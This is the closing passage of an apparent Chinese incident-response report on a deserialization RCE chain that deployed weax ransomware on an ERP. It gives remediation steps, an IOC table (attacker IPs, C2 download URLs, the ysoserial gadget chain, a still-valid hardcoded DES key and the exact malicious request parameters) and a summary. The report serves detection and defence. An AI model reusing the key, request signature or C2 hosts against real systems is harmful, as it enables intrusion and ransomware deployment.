第一(根治):下线 test/demo 页面并消除 sink。SYSN/test/、SYSN/view/demo/ 为调试工具(含反序列化与数据导出能力),生产环境应整体移除而非仅做入口拦截。CostLogDebugRec.Bill_OnSave 的 BinaryFormatter.Deserialize(第 32 行)应删除或改用显式类型序列化;全局 BinaryFormatter 调用点统一加 SerializationBinder 白名单(JSONClass.cs:534 的 Binder 判断条件恒不生效缺陷一并修复)。

第二:收敛实例化原语。CreateProxyPage_Async(string) 的 Assembly.CreateInstance 与 GetTypeByFullName(第 511、528 行)应对 pagetype 加显式类白名单(仅允许既定对话框类)。该原语未修是链路复活的最大隐患。

第三:认证与反射加固。zbintel4 DES 密钥未更换,应整体迁移至带签名的会话机制;ReportPage.App_OnSysReportCallBack 的 actionname 反射调用应加方法白名单。

第四:资产面自查。对 test 页未返回 no-demo-error 的资产优先升级复核;收敛管理端口的公网暴露;对 sdk_sys_OpenServerDialog、SysReportCallBack 消息与 pagetype、actionname、CmdKey 参数部署审计告警;监控 billuploadfield、logfiles 目录的异常写入。

九、IOC 清单

类型
值
说明
攻击源 IP
23.248.226.234
UA 混用 curl/8.21.0 与随机浏览器 UA
后续攻击 IP
116.31.103.8、119.84.77.11、113.249.89.56
均为国内代理 IP,加密完成后复打
C2(一段下载)
http://166.75.11.35:11753/kTaKz
PowerShell 一段下载器解码所得
C2(载荷内嵌)
http://166.75.11.39:44120/TPlBD
ysoserial 载荷外层 PowerShell 解码所得
落地路径
ZBIntel\SYSA\Edit\fNet\billuploadfield\U0\Y2026\M9\
命令执行回显
中转文件
ZBIntel\Sysa\manager\logfiles\tmpcostdata.xml
反序列化载荷中转
gadget
SortedSet\1 + ComparisonComparer + DelegateSerializationHolder
ysoserial.net TextFormattingRunProperties 家族
加密器
C:\Windows\System32\QgMCrCKbF.exe(进程 ID 4228) (MD5:b76dd9d7a576d3653b52d9c4df177a78)
weax 家族,加密后缀 .weax
硬编码密钥
DES zbintel4
会话加密(新版仍未更换)
请求特征
pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM=;sys_msgid=sdk_sys_OpenServerDialog;msgid=SysReportCallBack;actionname=DoMonthLock;CmdKey=SysBillSave
检测规则可用

十、总结与闭环说明

本事件至此形成完整闭环:

  1. 发现与定性:从 IIS 日志的成对攻击请求出发,结合落地载荷的 BinaryFormatter 魔数与 ysoserial gadget 特征,确认漏洞类型为反序列化远程代码执行,加密器归属 weaxor 勒索家族。
  2. 审计与归因:沿攻击者实际使用的六个参数逐个跟进源码,确认攻击链由四部分组成,分别是硬编码密钥伪造会话(认证绕过)、SysReportCallBack 反射开窗、OpenServerDialog 任意类实例化、CostLogDebugRec 的 SSRF 加 BinaryFormatter 反序列化(漏洞本体)。
  3. 复现与验证:按审计结论构造无害 PoC 在复建环境逐项验证,攻击链各入口均被拦截,确认官方新版本已包含修复。
  4. 修复确认:逐文件比对新旧版本源码,确认官方修复真实存在且已生效,但修复仅覆盖入口拦截(test/demo 命名空间门禁、路径尾巴拒绝、会话 MD5 校验),任意类实例化原语、反序列化 sink、反射调用原语均未根除,残留风险与根治建议已逐条列明。
  5. 检测与加固:IOC 与请求特征已整理成表,可直接用于检测规则编写与资产面排查。

受害单位已按建议完成版本升级与加固。若贵单位正在使用该 ERP 且对自身版本是否受影响存疑,可按"影响版本与版本自查"一节的判定特征快速自查,或联系 Solar 应急响应团队协助排查。

写在最后

本次事件从应急响应、日志溯源、载荷解码、代码审计到修复比对,证据链完整闭环。我们会继续对 weax 勒索家族保持跟踪,包括其 0day 武器库的变化与新变种的处置进展,如有最新情况会第一时间在公众号同步,建议关注以便及时收到提醒。

如贵单位正在使用同类 ERP 系统,建议按本文"影响版本与版本自查"一节的判定特征尽快核查。如已发现 .weax 后缀的加密文件,请第一时间断网隔离受害主机,不要重装系统,不要删除勒索信与加密文件,保留现场后可随时联系 Solar 应急响应团队。


阅读原文:点击这里​


该文章在 2026/10/12 11:09:58 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved  粤ICP备13012886号-9  粤公网安备44030602007207号